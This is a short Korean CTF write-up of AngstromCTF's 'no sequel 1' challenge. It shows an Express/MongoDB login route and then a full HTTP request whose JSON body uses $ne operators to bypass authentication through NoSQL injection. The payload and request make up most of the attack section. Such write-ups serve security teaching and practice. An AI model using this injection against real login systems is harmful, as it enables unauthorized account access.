AngstromCTF - no sequel 1

   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...
router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;

var user = req.body.username;
var pass = req.body.password;

if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
username: user,
password: pass
}

db.collection('users').findOne(query, function (err, user) {
if (!user){
res.send("Wrong username or password");
return
}

res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
res.redirect("/site");
});
});

Express 로 구성된 서버에 소스가 주어진다.

상단에 monk instance 라고 적혀있는데, mongodb 를 사용했다는 것을 말하고 싶었으리라.

1
2
3
4
// request
username[$ne]=&password[$ne]=
// query
{ "username" : { "$ne" : "" }, "password" : { "$ne" : "" } }

흔한 mongodb 취약점인데 위처럼 배열을 삽입해주면 not equal 비교를 통해 인증이 우회된다.

1
One or more fields were not provided.

시도해보니 배열은 입력으로 받지 않는 모양이었지만

1
2
3
4
5
6
7
8
9
POST /login HTTP/1.1
Host: nosequels.2019.chall.actf.co
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Rigor/1.0.0; http://rigor.com)
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1OTk5MjU3fQ.cy_aJUBpx5BQCaJqHgbS3noRrHPZUtJT4lpnOrFMJR4
Content-Length: 60

{ "username" : { "$ne" : "" }, "password" : { "$ne" : "" } }

Content-Type을 수정하여 데이터를 json형태로 전송함으로써 인젝션에 성공하였다.